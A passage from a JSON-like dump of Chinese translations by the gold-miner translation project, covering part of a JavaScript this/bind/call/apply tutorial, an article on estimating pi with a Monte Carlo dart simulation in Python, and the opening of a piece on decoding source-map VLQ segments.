关键词后不立刻执行函数。\n\n## 什么时候用 bind、call 和 apply\n\n你可能在想：现在已经很乱了，学习所有这些的目的是什么？\n\n首先，你会看到 bind、call 和 apply 这几个函数到处都会用到，特别是在一些大型的库和框架。如果你没理解它做了些什么，那可怜的你就只用上了 JavaScript 提供的强大能力的一小部分而已。\n\n如果你不想了解一些可能的用法而想立刻读下去，当然了，你可以直接跳过这节，没关系。\n\n下面列出来的应用场景都是一些具有深度和广度的话题（一篇文章基本上是讲不完的），所以我放了一些链接供你深度阅读用。未来我可能会在这篇终极指南里面继续添加新的小节，这样大家就可以一次看过瘾。\n\n1.  [方法借用](https://medium.com/@thejasonfile/borrowing-methods-from-a-function-in-javascript-713a0beed40d)\n2.  [柯里化](https://www.sitepoint.com/currying-in-functional-javascript/)\n3.  [偏函数应用](http://benalman.com/news/2012/09/partial-application-in-javascript/#partial-application)\n4.  [依赖注入](http://krasimirtsonev.com/blog/article/Dependency-injection-in-JavaScript)\n\n如果我漏掉了其他实践案例，请留言告知。我会经常来优化这篇指南，这样你作为读者就可以读到最丰富的内容。\n\n> 阅读高质量的开源代码可以升级你的知识和技能。\n\n讲真，你会在一些开源代码上看到 this 关键词、call、apply 和 bind 的实际应用。我会将这块结合着其他能[帮你成为更好的程序员](https://www.thecodingdelight.com/become-better-programmer/)的方法一起讲。\n\n在我看来，开始阅读最好的开源代码是 [underscore](http://underscorejs.org/)。它并不像其他开源项目，如 [d3](https://github.com/d3/d3)，那样铁板一块，而是内部代码相互比较独立，因而它是教学用的最佳选择。另外，它代码简洁，文档详细，编码风格也是相当容易学习。\n\n## JavaScript 的 `this` 和 bind\n\n前面提到了，`bind` 允许你明确设定 this 的指向而不用实际去执行函数。这里是一个简单示例：\n\n```\nvar bobObj = {\n    name: \"Bob\"\n};\nfunction print() {\n    return this.name;\n}\n// 将 this 明确指向 \"bobObj\"\nvar printNameBob = print.bind(bobObj);\nconsole.log(printNameBob());    // this 会指向 bob，于是输出结果是 \"Bob\"\n```\n\n在上面的示例中，如果你把 bind 那行去掉，那 this 将会指向全局 `window` 对象。\n\n这好像很蠢，但在你想将 `this` 绑定到具体对象前你就必须用 `bind` 来绑定。在某些场景下，我们可能想从另一个对象中借用一些方法。举个例子，\n\n```\nvar obj1 = {\n    data: [1,2,3],\n    printFirstData: function() {\n        if (this.data.length)\n            return this.data[0];\n    }\n};\nvar obj2 = {\n    data: [4,5,6],\n    printSecondData: function() {\n        if (this.data.length > 1)\n            return this.data[1];\n    }\n};\n// 在 obj1 中借用 obj2 的方法\nvar getSecondData = obj2.printSecondData.bind(obj1);\nconsole.log(getSecondData());   // 输出 2\n```\n\n在这个代码片段里，`obj2` 有一个名为 `printSecondData` 的方法，而我们想将这个方法借给 `obj1`。在下一行\n\n```\nvar getSecondData = obj2.printSecondData.bind(obj1);\n```\n\n通过使用 bind ，我们让 `obj1` 可以访问 `obj2` 的 `printSecondData` 方法。\n\n### 练习\n\n在下面的代码中\n\n```\nvar object = {\n    data: [1,2,3],\n    double: function() {\n        this.data.forEach(function() {\n            // Get this to point to object.\n            console.log(this);\n        });\n    }\n};\nobject.double();\n```\n\n怎么让 this 关键词指向 `object`。提示：你并不需要重写 `this.data.forEach`。\n\n##### 答案\n\n在上一节中，我们了解了执行上下文。如果你对匿名函数调用那部分看得够细心，你就知道它并不会作为某个对象的方法被调用。因此，`this` 关键词指向了全局 `window` 对象。\n\n于是我们需要将 object 作为上下文绑定到匿名函数上，使得里面的 this 指向 `object`。现在，`double` 函数跑起来时，是 `object` 调用了它，那么 `double` 里面的 `this` 指向 `object`。\n\n```\nvar object = {\n    data: [1,2,3],\n    double: function() {\n        return this.data.forEach(function() {\n            // Get this to point to object.\n            console.log(this);\n        }.bind(this));\n    }\n};\nobject.double();\n```\n\n那，如果我们像下面这样做呢？\n\n```\nvar double = object.double;\ndouble();   // ？？\n```\n\n`double()` 的调用上下文是什么？是全局上下文。于是，我们就会看到下面的报错。\n\n> `Uncaught TypeError: Cannot read property 'forEach' of undefined`\n> `at double (test.html:282)`\n> `at test.html:289`\n\n所以，当我们用到 `this` 关键词时，就要小心在意我们调用函数的方式。我们可以在提供 API 给用户时固定 this 关键词，以此减少这种类型的错误。但请记住，这么做的代价是牺牲了灵活性，所以做决定前要考虑清楚。\n\n```\nvar double = object.double.bind(object);\ndouble();  // 不再报错\n```\n\n## JavaScript `this` 和 call\n\ncall 方法和 bind 很相似，但就如它名字所暗示的，`call` 会立刻呼起（执行）函数，这是两个函数的最大区别。\n\n```\nvar item = {\n    name: \"I am\"\n};\nfunction print() {\n    return this.name;\n}\n// 立刻执行\nvar printNameBob = console.log(print.call(item));\n```\n\n`call`、`apply`、`bind` 大部分使用场景是重叠的。作为一个程序员最重要的还是先了解清楚这三个方法之间的差异，从而能根据它们的设计和目的的不同来选用。只要你了解清楚了，你就可以用一种更有创意的方式来使用它们，写出更独到精彩的代码。\n\n在参数数量固定的场景，`call` 或 `bind` 是不错的选择。比如说，一个叫 `doLogin` 的函数经常是接受两个参数：`username` 和 `password`。在这个场景下，如果你需要将 this 绑定到一个特定的对象上，`call` 或 `bind` 会挺好用的。\n\n### 如何使用 call\n\n以前一个最常用的场景是把一个类数组对象，比如 `arguments` 对象，转化成数组。举个例子：\n\n```\nfunction convertArgs() {\n    var convertedArgs = Array.prototype.slice.call(arguments);\n    console.log(arguments);\n    console.log(Array.isArray(arguments));  // false\n    console.log(convertedArgs);\n    console.log(Array.isArray(convertedArgs)); // true\n}\nconvertArgs(1,2,3,4);\n```\n\n在上面的例子中，我们使用 call 将 `argument` 对象转化成一个数组。在下一个例子中，我们将会调用一个 `Array` 对象的方法，并将 argument 对象设置为方法的 this，以此来将传进来参数加在一起。\n\n```\nfunction add (a, b) { \n    return a + b; \n}\nfunction sum() {\n    return Array.prototype.reduce.call(arguments, add);\n}\nconsole.log(sum(1,2,3,4)); // 10\n```\n\n我们在一个类数组对象上调用了 reduce 函数。要知道 arguments 不是一个数组，但我们给了它调用 reduce 方法的能力。如果你对 reduce 感兴趣，可以在[这里了解更多](https://www.thecodingdelight.com/map-filter-reduce/)。\n\n### 练习\n\n现在是时候巩固下你新学到的知识。\n\n1.  [document.querySelectorAll()](https://www.w3schools.com/jsref/met_document_queryselectorall.asp) 返回一个类数组对象 `NodeList`。请写一个函数，它接收一个 CSS 选择器，然后返回一个选择到的 DOM 节点数组。\n2.  请写一个函数，它接收一个由键值对组成的数组，然后将这些键值对设置到 this 关键词指向的对象上，最后将该对象返回。如果 this 是 `null` 或 `undefined`，那就新建一个 `object`。示例：`set.call( {name: \"jay\"}, {age: 10, email: '[[email protected]](/cdn-cgi/l/email-protection)'}); // return {name: \"jay\", age: 10, email: '[[email protected]](/cdn-cgi/l/email-protection)'}`。\n\n## JavaScript this 和 apply\n\napply 就是接受数组版本的 call。于是当使用 `apply` 时，多联想下数组。\n\n> 将一个方法应用（apply）到一个数组上。\n\n我用这句话来记住它，而且还挺管用。apply 为你的现有堆积的军火库又添加了一样利器，增加了很多新的可能，你很快就能体会到这一点。\n\n当你要处理参数数量动态变化的场景，用 apply 吧。将一系列数据转化为数组并用上 apply 能让你写出更好用和更具弹性的代码，会让你的工作更轻松。\n\n### 如何使用 apply\n\n[Math.min](https://www.w3schools.com/jsref/jsref_min.asp) 和 `max` 都是可以接受多个参数并返回最小值和最大值的函数。除了直接传 n 个参数，你也可以将这 n 个参数放到一个数组里然后借助 `apply` 将它传到 min 函数里。\n\n```\nMath.min(1,2,3,4); // 返回 1\nMath.min([1,2,3,4]); // 返回 NaN。只接受数字\nMath.min.apply(null, [1,2,3,4]); // 返回 1\n```\n\n看晕了吗？如果真晕了，那我来解释下。使用 apply 时我们要传一个数组因为它需要数组作为第二个参数。而下面\n\n```\nMath.min.apply(null, [1,2,3,4]); // 返回 1\n```\n\n做的事情基本等同于\n\n`Math.min(1,2,3,4); // 返回 1\n`\n\n这就是我想指出来的 apply 的神奇之处。它和 `call` 工作原理，不过我们只要传给它一个数组而不是 n 个参数。很好玩对吧？桥豆麻袋，这是否意味着 `Math.min.call(null, 1,2,3,4);` 执行起来和 `Math.min.apply(null, [1,2,3,4]);` 一样？\n\n啊，你说对了！看来你已经开始掌握它了 🙂\n\n让我们来看下另一种用法。\n\n```\nfunction logArgs() {\n    console.log.apply(console, arguments);\n}\nlogArgs(1,3,'I am a string', {name: \"jay\", age: \"1337\"}, [4,5,6,7]);\n```\n\n没错，你甚至可以传一个类数组对象作为 `apply` 的第二个参数。很酷对吧？\n\n### 练习\n\n1.  写一个函数，它接受一个由键值对组成的数组，然后将这些键值对设置到 this 关键词指向的对象上，最后将该对象返回。如果 this 是 `null` 或 `undefined`，那就新建一个 `object`。示例：`set.apply( {name: \"jay\"}, [{age: 10}]); // 返回 {name: \"jay\", age: 10}`\n2.  写一个类似 `Math.max` 和 `min` 的函数，不过接收的不是数字而是运算。前两个参数必须是`数字`，而后面的参数你要将其转化为一个**函数数组**。下面提供一个方便你上手理解的示例：\n\n```\nfunction operate() {\n    if (arguments.length < 3) {\n        throw new Error(\"至少要三个参数\");\n    }\n    if (typeof arguments[0] !== 'number' || typeof arguments[1] !== 'number') {\n        throw new Error(\"前两个参数必须是数字\");\n    }\n    // 写代码\n    // 这是一个由函数组成的数组。你可以用 call、apply 或者 bind。但不要直接遍历参数然后直接塞到一个数组里\n    var args;\n    var result = 0;\n    // 好了，开始吧，祝好运\n}\nfunction sum(a, b) {\n    return a + b;\n}\nfunction multiply(a,b) {\n    return a * b;\n}\nconsole.log(operate(10, 2, sum, multiply));    // 必须返回 32 -> (10 + 2) + (10 * 2) = 32\n```\n\n## 其他文章和资料\n\n假如我上面的解释没能让你释疑，那下面这些额外的资料可以帮你更好地理解 bind 在 JavaScript 里面是怎么运作的。\n\n*   [理解 JavaScript 函数 bind 的原型方法](https://www.smashingmagazine.com/2014/01/understanding-javascript-function-prototype-bind/)\n*   [Stackoverflow – 使用 JavaScript 的 bind 函数](https://stackoverflow.com/questions/2236747/use-of-the-javascript-bind-method)\n*   [JavaScript 中 call()， apply() 和 bind() 如何使用](https://www.codementor.io/niladrisekhardutta/how-to-call-apply-and-bind-in-javascript-8i1jca6jp)\n*   [一看就懂 —— JavaScript 的 .call() .apply() 和 .bind()](https://medium.com/@owenyangg/javascript-call-apply-and-bind-explained-to-a-total-noob-63f146684564)\n\n我还强烈推荐你去学习 [JavaScript 原型链](https://www.digitalocean.com/community/tutorials/understanding-prototypes-and-inheritance-in-javascript)，不单是因为里面用到大量的 `this` 关键词，而且它还是 JavaScript 实现继承的标准方式。\n\n下面列出一些帮你了解 `this` 如何使用的书籍：\n\n*   [编写高质量 JavaScript代码的68个有效方法](http://amzn.to/2HGhsDP)：虽然是本古董，但此书确实写得挺好而且还提供了简单易懂的示例，教你怎么用好 this、apply、call 和 bind 来写出好代码。书的作者是 [TC39](https://www.ecma-international.org/memento/TC39-M.htm) 的一个成员 Dave Hermann，所以你大可放心，他对 JavaScript 肯定理解深刻。\n*   [你不知道的 JS —— this 和对象原型](https://github.com/getify/You-Dont-Know-JS/tree/master/this%20%26%20object%20prototypes)：Kyle Simpson 以一种清晰明了、对初学者很友好的方式，解释了对象和原型是怎么相互影响运作起来的，写得很棒！\n\n## 总结\n\n考虑到 `this` 关键词已经用到了难以计量的代码中，它是 JavaScript 中我们不得不聊的话题。\n\n一个优秀的艺术家肯定精于工具的使用。作为一个 JavaScript 开发者，怎么用好它的特性是最最重要的。\n\n如果你想看到一些从特定角度对 `this` 关键词深入剖析的文章或者更多的代码，请别忘了告诉我。这些可能的角度可以是（但不限于）下面这些：\n\n*   `this` 和 `new` 关键词。\n*   JavaScript 的原型链。\n*   `this` 和 JavaScript 的类。\n\n另外，关于这篇文章你如果有什么具体的问题或补充，请给我发邮件或信息。我刚在[我的 Github 个人主页](https://github.com/JWLee89)更新了我的邮箱地址。我希望将这个教程完善起来，这样不管哪个级别的开发者看到它都能从中受益。让我们一起把它做好！\n\n多谢捧场了老铁，然后，这篇文章还能再补充点什么对读者有用的东西，我真的很期待听到你的观点和建议。\n\n保重，下次见！\n\n### 关于作者 [Jay](https://www.thecodingdelight.com/author/ljay189/)\n\n我是一个现居韩国首尔的程序员。我创立这个博客的目的，就是想用文字形式将所学所想沉淀下来，也希望为社区做些贡献。我热衷于数据结构和算法，而后台和数据库则是我心中最爱。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/mathematical-programming-a-key-habit-to-built-up-for-advancing-in-data-science.md",
    "content": "> * 原文地址：[数学编程 —— 为个人在数据科学领域所有进步而培养的一个关键习惯](https://towardsdatascience.com/mathematical-programming-a-key-habit-to-built-up-for-advancing-in-data-science-c6d5c29533be)\n> * 原文作者：[Tirthajyoti Sarkar](https://medium.com/@tirthajyoti)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/mathematical-programming-a-key-habit-to-built-up-for-advancing-in-data-science.md](https://github.com/xitu/gold-miner/blob/master/TODO1/mathematical-programming-a-key-habit-to-built-up-for-advancing-in-data-science.md)\n> * 译者：[Weirdochr](https://github.com/Weirdochr)\n> * 校对者：[TokenJan](https://github.com/TokenJan)、[mymmon](https://github.com/mymmon)\n\n# 数学编程 —— 为个人在数据科学领域有所进步而培养的一个关键习惯\n\n> 我们通过模拟随机向飞镖靶投掷飞镖，向大家展示了如何近似计算圆周率的值。这是朝建立数学编程习惯迈出的一小步，数学编程应是初露头角的数据科学家所有傍身之技中的一项关键技能。\n\n![](https://cdn-images-1.medium.com/max/2000/1*2vPOgrtPqR75SVvCN-lCqQ.jpeg)\n\n## 备注\n\n该 [事迹](https://www.kdnuggets.com/2019/05/mathematical-programming-key-habit-advancing-data-science.html) 被认作是 KDnuggets 平台上最受关注的“金徽章（Gold badge）”之一。\n\n![](https://cdn-images-1.medium.com/max/2000/1*l3ebKpvvkO8JbAp9l2TZLQ.png)\n\n## 简介\n\n**数学编程**的本质在于养成将数学概念编码的习惯，尤其是编码那些以系统性方式涉及的一系列计算任务。\n\n**这种编程习惯对分析和数据科学的职业生涯大有裨益**，从事该类职业的人日常会遇到并需要弄懂各种各样的数值模式。数学编程的能力有助于其快速建立模型以便快速进行数值分析，这通常是建立数据模型的第一步。\n\n## 一些范例\n\n那么，我所说的数学编程究竟是什么？一堆数学函数不是已经内嵌在了许多像 [NumPy](https://towardsdatascience.com/lets-talk-about-numpy-for-datascience-beginners-b8088722309f) 和 [SciPy](https://scipy-lectures.org/intro/language/python_language.html) 这样的 Python 库中并进行过优化了吗？ \n\n千真万确，但这不应该阻止你从头开始编写各种数值计算任务，并养成数学编程的习惯。\n\n以下是几个随机示例：\n\n* 通过 [蒙特卡洛实验](https://www.palisade.com/risk/monte_carlo_simulation.asp) 计算圆周率 — 该实验模拟了随机向飞镖靶投掷飞镖\n* 构建一个包含处理复数所有方法的函数或类（Python 已有这样一个模块，但你能模仿出来一个吗？）\n* 通过模拟多种经济场景，考虑每只股票的差异，计算 [一组投资组合的平均回报率](https://www.quantinsti.com/blog/portfolio-optimization-maximum-return-risk-ratio-python)\n* [模拟并绘制随机漫步事件](https://www.geeksforgeeks.org/random-walk-implementation-python/)\n* 模拟 [两球碰撞，并根据随机的起点和方向计算它们的轨迹](https://github.com/yoyoberenguer/2DElasticCollision)\n\n如你所见，我们可以举出很多有趣并且接近真实生活场景的例子。因此，这项技能也能培养为离散或随机模拟编写代码的能力。\n\n> 你在网上浏览一些数学性质或概念时，有没产生过一种冲动，用你最喜欢的编程语言和一段简单的代码快速测试这个概念？\n\n如果你的回答是“是”，那么恭喜你！你有本身就具备深厚的数学编程习惯，它将带领着你在你理想的数据科学事业中走得更远。\n\n## 为什么数学编程是数据科学的关键技能？\n\n数据科学实践需要在数字和数值分析之间建立起良好的关联。然而，这并不意味着仅是记住复杂的公式和方程式。\n\n对于一个初露头角的数据科学家来说，发现数字模式的能力和通过编写简单代码快速测试想法的能力大有裨益。\n\n![](https://cdn-images-1.medium.com/max/2000/1*A7cfUN2CqZ7OAGq1rm5o5Q.jpeg)\n\n类似于电子工程师直接操作实验室设备和自动化脚本来运行这些设备以捕捉电信号中隐藏的模式。\n\n你也可以想象一位年轻的生物学家，她擅长在载玻片上制作细胞横截面样本，并在显微镜下快速执行自动化测试，以收集数据来测试她的想法。\n\n![](https://cdn-images-1.medium.com/max/2000/1*yyF5NFMCxn9oBJQjpdJEFg.jpeg)\n\n> 关键在于，尽管整个数据科学大厦可能由许多不同的部分组成，如：数据整理、文本处理、文件处理、数据库处理、机器学习和统计建模、可视化、演示等，快速试验想法通常只需要扎实的数学编程能力。\n\n我们很难列举出培养数学编程技能的所有必备要素，但可以给出一些常见要素：\n\n* 模块化编程的习惯\n* 关于各种**随机化技术**的清晰想法\n* 能够阅读和理解**线性代数、微积分和离散数学**的基本课题\n* 熟悉基础的**描述性和推断性统计**\n* 具备**离散和连续优化方法**（如：线性规划）的基础概念\n* 基本熟练掌握一门偏好的语言的核心**数字库和函数**，并用这门语言测试自己的想法\n\n以下文章讨论了在数据科学基础动手数学实践中应该学些什么，仅供参考：[**数据科学中的基础数学**\n**为成为更优秀的数据科学家而掌握的关键主题** towardsdatascience.com](https://towardsdatascience.com/essential-math-for-data-science-why-and-how-e88271367fbd)\n\n本文通过一个非常简单的例子来说明数学编程，即用 [蒙特卡洛方法](https://www.palisade.com/risk/monte_carlo_simulation.asp) 随机向飞镖靶投掷飞镖，来计算圆周率的近似值。\n\n## 投掷（大量）飞镖计算圆周率\n\n这个方法很有意思，它通过模拟向飞镖靶随机投掷飞镖的过程来计算圆周率的值。该方法没有使用任何复杂的数学分析方法或计算公式，而是试图通过模拟纯粹的物理（但 [**随机**](https://en.wikipedia.org/wiki/Stochastic_process)）过程，来计算圆周率的近似值。\n\n> 我们将这种方法命名为**蒙特卡洛方法**，其基本概念是模拟随机过程，当重复多次后，就能得到一些让人感兴趣的数学数量近似值。\n\n请想象此刻在你面前有一个方形镖靶。\n\n镖靶内画了一个圆，该圆内切于镖靶四边。\n\n接着，向镖靶投掷飞镖。记住是**随机**投掷。这意味着，飞镖可能在圆内，也可能在圆外。但此处假设没有飞镖落在镖靶外。\n\n![](https://cdn-images-1.medium.com/max/3020/1*yNBSxo8jPxbvzifAG9jWNg.png)\n\n飞镖投掷训练结束后，计算飞镖落在圆圈内的次数占投掷总数的比列。再把该数字乘以 4。\n\n计算结果应该是圆周率的值。投掷次数越多，计算结果越接近圆周率。\n\n#### 关于该实验的原理\n\n这个想法非常简单。如果你投掷了大量飞镖，那么**飞镖落入圆内的概率就是圆与方形镖靶面积之比**。借助基础数学，你就能计算出这个比率是 π/4。因此，要得到圆周率，只需把该数字乘以 4。\n\n该实验的关键在于，模拟投掷大量飞镖，以便**让（落入圆圈内的飞镖）这一分数等于概率，该结果仅在大量随机实验条件下成立**。这是大数定律或者说是频率派概率的结果。\n\n#### Python 代码\n\n我在自己的 [Github 仓库的 Jupyter notebook](https://github.com/tirthajyoti/Stats-Maths-with-Python/blob/master/Computing_pi_throwing_dart.ipynb) 里给出了这一段 Python 代码。请随意复制或 fork。步骤很简单。\n\n首先，创建一个函数来模拟随机投掷飞镖。\n\n```Python\ndef throw_dart():\n    \"\"\"\n    Simulates the randon throw of a dart. It can land anywhere in the square (uniformly randomly)\n    \"\"\"\n    # Center point\n    x,y = 0,0\n    # Side of the square\n    a = 2\n    \n    # Random final landing position of the dart between -a/2 and +a/2 around the center point\n    position_x = x+a/2*(-1+2*random.random())\n    position_y = y+a/2*(-1+2*random.random())\n    \n    return (position_x,position_y)\n```\n\n然后编写一个函数，给定飞镖的着陆坐标，确定飞镖是否落在圆圈内，\n\n```Python\ndef is_within_circle(x,y):\n    \"\"\"\n    Given the landing coordinate of a dart, determines if it fell inside the circle\n    \"\"\"\n    # Side of the square\n    a = 2\n    \n    distance_from_center = sqrt(x**2+y**2)\n    \n    if distance_from_center < a/2:\n        return True\n    else:\n        return False\n```\n\n最后，编写一个函数来模拟大量投掷飞镖，并根据累积结果计算圆周率的值。\n\n```Python\ndef compute_pi_throwing_dart(n_throws):\n    \"\"\"\n    Computes pi by throwing a bunch of darts at the square\n    \"\"\"\n    n_throws = n_throws\n    count_inside_circle=0\n    for i in range(n_throws):\n        r1,r2=throw_dart()\n        if is_within_circle(r1,r2):\n            count_inside_circle+=1\n            \n    result = 4*(count_inside_circle/n_throws)\n    \n    return result\n```\n\n本段代码结束了，但是编程不能就此止步。我们必须测试近似值能在多大程度上接近，以及它如何随着随机投掷次数的增多而变化。**与所有蒙特卡洛实验一样，随着实验次数增加，近似值会越来越接近**。\n\n> 这就是数据科学和分析的核心。仅仅编写一个打印预期输出并在那里停止的函数是不够的。基础的编程可以结束，但如果没有进一步的探索和假设检验，科学实验就不能就此停止。\n\n![](https://cdn-images-1.medium.com/max/2000/1*oWOdAKqNc4rFapMNY04YYw.png)\n\n![](https://cdn-images-1.medium.com/max/2000/1*UfMdUzCOZEYQhnqn3woEDA.png)\n\n我们可以看到，重复几次大量随机投掷实验来计算平均值能得到更精确的近似值。\n\n```Python\nn = 5000000\nsum=0\nfor i in range(20):\n    p=compute_pi_throwing_dart(n)\n    sum+=p\n    print(\"Experiment number {} done. Computed value: {}\".format(i+1,p))\nprint(\"-\"*75)\npi_computed = round(sum/20,4)\nprint(\"Average value from 20 experiments:\",pi_computed)\n```\n\n## 代码看似简单，内核却极为丰富\n\n这项实验背后的理论和代码看似极其简单。然而，在这个简单练习的外表之下，隐藏着一些非常有趣的想法。\n\n**函数式编程方法**：用整块代码对实验进行编码，描述整个实验。在这个过程中，我们展示了如何将多个任务划分为简单的函数，来模拟真实人类的行为 ——\n\n* 扔飞镖，\n* 检查飞镖的着陆坐标并确定它是否落在圆圈内，\n* 重复该过程任意次数\n\n为大型程序编写高质量代码时，使用这种 [**模块化编程**](https://www.geeksforgeeks.org/modular-approach-in-programming/) 方法是非常具有指导意义的。\n\n**突现行为**：这段代码没有使用任何涉及圆周率或圆的性质的公式。圆周率的值是从随机向飞镖靶扔一堆飞镖并计算分数的过程中得到的。这是 [**突现行为**](http://wiki.c2.com/?EmergentBehavior) 的一个示例，即**通过相互作用，大量类似的重复实验形成一种数学模式。**\n\n**频率派概率定义**：对概率的定义有两大类，这两类分属于截然对立的阵营 — [频率派和贝叶斯派](https://stats.stackexchange.com/questions/31867/bayesian-vs-frequentist-interpretations-of-probability)。人们很容易以频率派的思维方式思考，把概率定义为一个事件的频率（随机试验总数的一部分）。在这次编程练习中，我们可以看到，概率这个特殊概念是如何从多次重复随机试验中显现出来的。\n\n**[随机模拟](https://www.andata.at/en/stochastic-simulation.htmlhttps://www.andata.at/en/stochastic-simulation.html)**：掷飞镖实验使用的核心函数是一个随机数发生器。实际上，计算机生成的随机数并非真正随机，但出于实际操作可行性考虑，我们可以假定它生成的都是随机数。在这次编程练习中，我们使用了 Python `随机` 模块中的统一随机生成器函数。使用这种随机化方法是随机模拟的核心，这是数据科学实践中一种有效的方法。\n\n**通过重复模拟和可视化测试断言**：通常，在数据科学中，我们必须通过大量模拟/实验，来测试随机过程和概率模型。因此，必须用这些渐进项来思考，并以统计上合理的方式来测试数据模型或科学断言的有效性。\n\n![](https://cdn-images-1.medium.com/max/2000/1*cbGe3j6lfP_9REbnLlaXQw.jpeg)\n\n## 总结（以及对读者的挑战）\n\n我们展现了培养数学编程习惯的意义。本质上，它是从编程的角度来测试你头脑中正在开发的数学方法或数据模式。这个简单的习惯可以帮助未来的数据科学家开发优质的实践。\n\n我们使用简单的几何恒等式、随机模拟的概念和频率派概率定义演示了一个例子。\n\n如果你还想接受更多挑战，\n\n> 你能通过模拟 [随机漫步事件](https://en.wikipedia.org/wiki/Random_walk) 来计算圆周率吗？\n\n---\n\n点击此处 fork 这个简单练习的代码 [**请 fork 这个 repo**](https://github.com/tirthajyoti/Stats-Maths-with-Python)。\n\n---\n\n若你有任何问题或想法想要分享，请联系作者 [**tirthajyoti[AT]gmail.com**](mailto:tirthajyoti@gmail.com)。另外，你也可以查看作者的 **[GitHub ](https://github.com/tirthajyoti?tab=repositories)仓库** 获取 Python、R 或 MATLAB 中其他有趣的代码片段和机器学习资源。如果你像我一样，对机器学习/数据科学充满热情，请 [添加我的领英](https://www.linkedin.com/in/tirthajyoti-sarkar-2127aa7/) 或者 [关注我的推特账号](https://twitter.com/tirthajyotiS)。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/maybe-you-dont-need-rust-to-speed-up-your-js-2.md",
    "content": "> * 原文地址：[Maybe you don't need Rust and WASM to speed up your JS — Part 2](https://mrale.ph/blog/2018/02/03/maybe-you-dont-need-rust-to-speed-up-your-js-2.html)\n> * 原文作者：[Vyacheslav Egorov](http://mrale.ph/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/maybe-you-dont-need-rust-to-speed-up-your-js-2.md](https://github.com/xitu/gold-miner/blob/master/TODO1/maybe-you-dont-need-rust-to-speed-up-your-js-2.md)\n> * 译者：[geniusq1981](https://github.com/geniusq1981)\n> * 校对者：[D-kylin ](https://github.com/D-kylin)、[leviding](https://github.com/leviding)\n\n# 或许你并不需要 Rust 和 WASM 来提升 JS 的执行效率 — 第二部分\n\n**以下内容为本系列文章的第二部分，如果你还没看第一部分，请移步[或许你并不需要 Rust 和 WASM 来提升 JS 的执行效率 — 第一部分](https://github.com/xitu/gold-miner/blob/master/TODO1/maybe-you-dont-need-rust-to-speed-up-your-js-1.md)。**\n\n我尝试过三种不同的方法对 Base64 VLQ 段进行解码。\n\n第一个是 `decodeCached`，它与 `source-map` 使用的默认实现方式完全相同 — 我已经在上面列出了：\n\n```\nfunction decodeCached(aStr) {\n    var length = aStr.length;\n    var cachedSegments = {};\n    var end, str, segment, value, temp = {value: 0, rest: 0};\n    const decode = base64VLQ.decode;\n\n    var index = 0;\n    while (index < length) {\n    // Because each offset is encoded relative to the previous one,\n    // many segments often have the same encoding. We can exploit this\n    // fact by caching the parsed variable length fields of each segment,\n    // allowing us to avoid a second parse if we encounter the same\n    // segment again.\n    for (end = index; end < length; end++) {\n        if (_charIsMappingSeparator(aStr, end)) {\n        break;\n        }\n    }\n    str = aStr.slice(index, end);\n\n    segment = cachedSegments[str];\n    if (segment) {\n        index += str.length;\n    } else {\n        segment = [];\n        while (index < end) {\n        decode(aStr, index, temp);\n        value = temp.value;\n        index = temp.rest;\n        segment.push(value);\n        }\n\n        if (segment.length === 2) {\n        throw new Error('Found a source, but no line and column');\n        }\n\n        if (segment.length === 3) {\n        throw new Error('Found a source and line, but no column');\n        }\n\n        cachedSegments[str] = segment;\n    }\n\n    index++;\n    }\n}\n```\n\n第二个是 `decodeNoCaching`。它实际上就是没有缓存的 `decodeCached`。每个分段都被单独解码。我使用 `Int32Array` 来进行 `segment` 存储，而不再使用 `Array`。\n\n```\nfunction decodeNoCaching(aStr) {\n    var length = aStr.length;\n    var cachedSegments = {};\n    var end, str, segment, temp = {value: 0, rest: 0};\n    const decode = base64VLQ.decode;\n\n    var index = 0, value;\n    var segment = new Int32Array(5);\n    var segmentLength = 0;\n    while (index < length) {\n    segmentLength = 0;\n    while (!_charIsMappingSeparator(aStr, index)) {\n        decode(aStr, index, temp);\n        value = temp.value;\n        index = temp.rest;\n        if (segmentLength >= 5) throw new Error('Too many segments');\n        segment[segmentLength++] = value;\n    }\n\n    if (segmentLength === 2) {\n        throw new Error('Found a source, but no line and column');\n    }\n\n    if (segmentLength === 3) {\n        throw new Error('Found a source and line, but no column');\n    }\n\n    index++;\n    }\n}\n```\n\n最后，第三个是 `decodeNoCachingNoString`，它尝试通过将字符串转换为 utf8 编码的 `Uint8Array` 来避免处理 JavaScript 字符串。这个优化受到了下面的启发：JS VM 将数组加载优化成单独内存访问的可能性更高。由于 JS VM 使用的不同的字符串表示层级和结构非常复杂，所以将 `String.prototype.charCodeAt` 